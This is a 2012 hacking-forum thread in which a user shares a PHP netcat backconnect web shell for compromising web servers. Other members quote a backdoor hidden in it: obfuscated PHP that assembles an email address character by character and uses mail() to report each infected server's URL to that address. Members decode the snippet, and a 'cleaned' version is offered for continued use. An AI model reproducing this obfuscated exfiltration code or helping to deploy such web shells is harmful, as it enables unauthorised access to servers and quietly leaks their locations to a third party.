Netcat PHP shell Now backconnect in PHP mode!

Netcat PHP shell Now backconnect in PHP mode! - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Netcat PHP shell Now backconnect in PHP mode! (/showthread.php?tid=2526921)

Pages: Pages 1 2

Netcat PHP shell Now backconnect in PHP mode! - The Ion - May 26, 2012

Here is the shell i have been using for sometime now really works great on r00ting servers.

[Image: hqXnC.png]

Here is the code:

http://pastebin.com/dthVpPrg

Clean code by th3ponywizard

Quote:Doesn't prove anything. Look, I'm not blaming you or anything, just saying it's backdoor'd.
Here is the code after I cleaned it: http://pastebin.com/dthVpPrg
Enjoy.

Enjoy and DOnt leech

credits to the creator.

* - Techie‌‌‌ - May 26, 2012

Thanks for the share but this is backdoored. Bad idea, noobs.

PHP Code 


<?php 
$s = array ("k","b","r","e","a","r","c","@","m","i","l",".","o","g");
$system_array2 = $s[2].$s[3].$s[1].$s[6].$s[5].$s[4].$s[0].$s[3].$s[5].$s[7].$s[13].$s[8].$s[4].$s[9].$s[10].".".$s[6].$s[12].$s[8];
$encoding = "$system_array2" ;
$rez = "NC sHE3L" ;
$serverdetecting = "Content-Transfer-Encoding: http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ;
mail ($encoding,$rez,$serverdetecting) ;
$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); 

* - The Ion - May 26, 2012

(May 26, 2012 12:47 AM)Τechie Wrote: Thanks for the share but this is backdoored. Bad idea, noobs.

PHP Code
<?php $s = array ("k","b","r","e","a","r","c","@","m","i","l",".","o","g"); $system_array2 = $s[2].$s[3].$s[1].$s[6].$s[5].$s[4].$s[0].$s[3].$s[5].$s[7].$s[13].$s[8].$s[4].$s[9].$s[10].".".$s[6].$s[12].$s[8]; $encoding = "$system_array2" ; $rez = "NC sHE3L" ; $serverdetecting = "Content-Transfer-Encoding: http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ; mail ($encoding,$rez,$serverdetecting) ; $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();

it is a Email feature i guess Not so sure didnt go through the code will check it out soon

* - Th3PonyWizard - May 26, 2012

Code 
$s = array ("k","b","r","e","a","r","c","@","m","i","l",".","o","g");

$system_array2 = $s[2].$s[3].$s[1].$s[6].$s[5].$s[4].$s[0].$s[3].$s[5].$s[7].$s[13].$s[8].$s[4].$s[9].$s[10].".".$s[6].$s[12].$s[8];

$encoding = "$system_array2" ;

echo $encoding;

Output: [email protected]
:\
Other than that, thanks. I'll use it.

* - The Ion - May 31, 2012

yes someone check the full check i think it is a Email feature!

* - Th3PonyWizard - May 31, 2012

(May 31, 2012 09:53 AM)The Ion Wrote: yes someone check the full check i think it is a Email feature!

Email feature my ass. the mail function sends an email message to [email protected], the email contains the title 'NC sHE3L', alongside the web address of the installed shell.

* - Creamy - May 31, 2012

Not cool, clearly is backdoored as Pony said above.

* - The Ion - May 31, 2012

when i google it gives me to this thread :https://hackforums.net/showthread.php?tid=94616

* - Th3PonyWizard - May 31, 2012

(May 31, 2012 10:00 AM)The Ion Wrote: when i google it gives me to this thread :https://hackforums.net/showthread.php?tid=94616

Doesn't prove anything. Look, I'm not blaming you or anything, just saying it's backdoor'd.
Here is the code after I cleaned it: http://pastebin.com/dthVpPrg
Enjoy.

* - The Ion - May 31, 2012

(May 31, 2012 10:13 AM)Th3PonyWizard Wrote: Doesn't prove anything. Look, I'm not blaming you or anything, just saying it's backdoor'd.
Here is the code after I cleaned it: http://pastebin.com/dthVpPrg
Enjoy.

thanks didnt check the code added to the orginal post thank you for the help!

* - Phizo - May 31, 2012

The compatibility sure is amazing.

Code 
phx3\iusr_6514439@:>dir

'ls' is not recognized as an internal or external command,

operable program or batch file.

* - The Ion - May 31, 2012

from where did you get that error ?

* - virusake - Aug 2, 2012

Nice shell ... i`ll try it soon .. too bad that i can`t pm you, i don`t have enough posts!

* - The Ion - Aug 2, 2012

enjoy it my friend use it wisely :P

* - MrNRG - Aug 2, 2012

I guess WSO shell already has the php backconnect feature:-
[Image: SoboC.png]

Anyways, will be helpful with some servers.